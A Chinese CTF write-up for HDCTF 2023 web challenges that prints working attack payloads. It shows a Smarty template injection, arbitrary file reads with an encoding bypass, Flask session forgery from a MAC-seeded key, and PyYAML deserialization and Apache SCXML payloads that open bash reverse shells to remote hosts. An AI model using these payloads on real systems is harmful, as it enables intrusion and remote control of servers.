• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

HDCTF web复现

武飞扬头像
snowlyzz
帮助1

[HDCTF 2023]SearchMaster

传data 

使用{if}标签闭合达到命令执行的效果

{if phpinfo()}{/if}

学新通

 NSSCTF{f578f8ba-246e-452b-b070-22bc4fc4313d}

Smarty模板注入&CVE-2017-1000480 - 先知社区 (aliyun.com)

[HDCTF 2023]YamiYami

非预期解

第一个连接 跳转到百度,结合链接名,那就是任意文件读取。

学新通

学新通

 self 读不到 flag   换成1  可以读到

学新通

 NSSCTF{9fade70a-7ddd-4e99-add3-1a53f2ed9608}

预期解

利用任意文件读取 /app.py 文件

/read?url=file:///app.py

发现过滤 

学新通

url 编码绕过 此过滤

app/app.py 二次编码后:

%61%70%70%2f%61%70%70%2e%70%79

源码:

  1.  
    #encoding:utf-8
  2.  
    import os
  3.  
    import re, random, uuid
  4.  
    from flask import *
  5.  
    from werkzeug.utils import *
  6.  
    import yaml
  7.  
    from urllib.request import urlopen
  8.  
    "导入所需的模块和库"
  9.  
     
  10.  
    app = Flask(__name__)
  11.  
    "创建Flask应用实例"
  12.  
     
  13.  
    random.seed(uuid.getnode())
  14.  
    app.config['SECRET_KEY'] = str(random.random()*233)
  15.  
    app.debug = False
  16.  
    BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
  17.  
    app.config['UPLOAD_FOLDER']="/app/uploads"
  18.  
    "配置应用"
  19.  
     
  20.  
    @app.route('/')
  21.  
    def index():
  22.  
    session['passport'] = 'YamiYami'
  23.  
    return '''
  24.  
    Welcome to HDCTF2023
  25.  
     
  26.  
    '''
  27.  
    @app.route('/pwd')
  28.  
    def pwd():
  29.  
    return str(pwdpath)
  30.  
    @app.route('/read')
  31.  
    def read():
  32.  
    try:
  33.  
    url = request.args.get('url')
  34.  
    m = re.findall('app.*', url, re.IGNORECASE)
  35.  
    n = re.findall('flag', url, re.IGNORECASE)
  36.  
    if m:
  37.  
    return "re.findall('app.*', url, re.IGNORECASE)"
  38.  
    if n:
  39.  
    return "re.findall('flag', url, re.IGNORECASE)"
  40.  
    res = urlopen(url)
  41.  
    return res.read()
  42.  
    except Exception as ex:
  43.  
    print(str(ex))
  44.  
    return 'no response'
  45.  
     
  46.  
    def allowed_file(filename):
  47.  
    for blackstr in BLACK_LIST:
  48.  
    if blackstr in filename:
  49.  
    return False
  50.  
    return True
  51.  
    @app.route('/upload', methods=['GET', 'POST'])
  52.  
    def upload_file():
  53.  
    if request.method == 'POST':
  54.  
    if 'file' not in request.files:
  55.  
    flash('No file part')
  56.  
    return redirect(request.url)
  57.  
    file = request.files['file']
  58.  
    if file.filename == '':
  59.  
    return "Empty file"
  60.  
    if file and allowed_file(file.filename):
  61.  
    filename = secure_filename(file.filename)
  62.  
    if not os.path.exists('./uploads/'):
  63.  
    os.makedirs('./uploads/')
  64.  
    file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
  65.  
    return "upload successfully!"
  66.  
    return render_template("index.html")
  67.  
    @app.route('/boogipop')
  68.  
    def load():
  69.  
    if session.get("passport")=="Welcome To HDCTF2023":
  70.  
    LoadedFile=request.args.get("file")
  71.  
    if not os.path.exists(LoadedFile):
  72.  
    return "file not exists"
  73.  
    with open(LoadedFile) as f:
  74.  
    yaml.full_load(f)
  75.  
    f.close()
  76.  
    return "van you see"
  77.  
    else:
  78.  
    return "No Auth bro"
  79.  
    if __name__=='__main__':
  80.  
    pwdpath = os.popen("pwd").read()
  81.  
    app.run(
  82.  
    debug=False,
  83.  
    host="0.0.0.0"
  84.  
    )
  85.  
    print(app.config['SECRET_KEY'])
  86.  
     
学新通

关键位置:

  1.  
    def load():
  2.  
    if session.get("passport")=="Welcome To HDCTF2023":
  3.  
    LoadedFile=request.args.get("file")
  4.  
    if not os.path.exists(LoadedFile):
  5.  
    return "file not exists"
  6.  
    with open(LoadedFile) as f:
  7.  
    yaml.full_load(f)
  8.  
    f.close()
  9.  
    return "van you see"
  10.  
    else:
  11.  
    return "No Auth bro"

这里 通过 if 判断 session = Welcome To HDCTF2023 时

会获取file 参数名, 如果file 存在,则使用 yaml.full_load 进行 反序列化读取文件。

这里是存在yaml 反序列化漏洞的,具体看我分析的文章

那这么说  就有两个考点了:

  1. session 伪造
  2. yaml 反序列化RCE

伪造session

如果要伪造 session  就要知道其 密钥 也就是 secret_key  

在 Flask 中,SECRET_KEY 是一个用于加密会话数据的关键设置。会话(Session)是一种在客户端和服务器之间存储数据的机制,用于跟踪用户的状态和存储用户的敏感信息。在会话中存储的数据会被加密,并在客户端和服务器之间传输。

当用户与应用程序建立会话时,服务器会将会话数据存储在服务器端,并生成一个唯一的会话标识符(session ID),发送给客户端浏览器。客户端浏览器将会话标识符存储在 Cookie 中,以便在后续的请求中发送给服务器。

为了保护会话数据的安全性,Flask 使用 SECRET_KEY 对会话数据进行加密和解密操作。这个密钥被用于生成加密会话数据的签名,并在解密时验证签名的有效性。只有拥有相同的 SECRET_KEY 的服务器才能够正确解密和验证会话数据。

因此,在进行会话伪造时,攻击者需要知道应用程序使用的 SECRET_KEY 才能够成功地生成有效的伪造会话数据。如果攻击者没有正确的 SECRET_KEY,会话数据将无法被正确解密和验证,从而阻止了会话伪造攻击。

对于 代码中 

  1.  
    random.seed(uuid.getnode())
  2.  
     
  3.  
    app.config['SECRET_KEY'] = str(random.random()*233)
  • random.seed(uuid.getnode()):使用机器的 MAC 地址作为随机数种子。

  • app.config['SECRET_KEY']:设置一个随机生成的密钥作为 Flask 应用的密钥。

这里使用 机器的mac 地址作为种子,那么 我们可以读取他的 /sys/class/net/eth0/address ,这个就是他的网卡位置,读取进行伪造。

学新通

02:42:ac:02:67:42 

再利用python脚本进行进一步伪造:

  1.  
    import random
  2.  
     
  3.  
    random.seed(0x0242ac026742)
  4.  
    print(str(random.random()*233))

因为我们的网卡地址是16进制的 所以要在前面 0x 进行计算

结果:

226.71745730057538

再使用咱们的老工具flask_session_cookie_manager:

python3 flask_session_cookie_manager3.py encode -s "226.71745730057538" -t "{'passport': 'Welcome to HDCTF2023'}" 
eyJwYXNzcG9ydCI6IldlbGNvbWUgdG8gSERDVEYyMDIzIn0.ZFjAlQ.tI9PYpQIxfklEFLCWHG2EkbvGpg

这里的session先留着一会来替换掉原来的session,接下来进行第二步Yaml反序列化

这里利用它是因为最后/boogipop这个路由使用到了yaml.full_load(f)

内容可以是yaml形式的反弹shell的脚本,上传yml文件,但是注意这里yml存在黑名单,因此不能后缀名为yml,改个文件后缀即可,load()记载并不是通过判断后缀名加载的。

  1.  
    - !!python/object/new:str
  2.  
    args: []
  3.  
    state: !!python/tuple
  4.  
    - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/youip/6666 0>&1\"')"
  5.  
    - !!python/object/new:staticmethod
  6.  
    args: [0]
  7.  
    state:
  8.  
    update: !!python/name:exec
  9.  
     
  10.  
     

至于 为什么是这个形式的pyload  可以参考 yaml >5.1 的文章分析:

PyYaml反序列化漏洞详解 - 先知社区 (aliyun.com)

学新通

 BabyJxVx(Apache SCXML2 RCE)

  1.  
    <?xml version="1.0"?>
  2.  
    <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
  3.  
    <final id="run">
  4.  
    <onexit>
  5.  
    <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}')"/>
  6.  
    </onexit>
  7.  
    </final>
  8.  
    </scxml>
  9.  
     

参考文章:

Apache SCXML2 RCE分析 · 语雀 (yuque.com)

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgfijhe
系列文章
更多 icon
同类精品
更多 icon
继续加载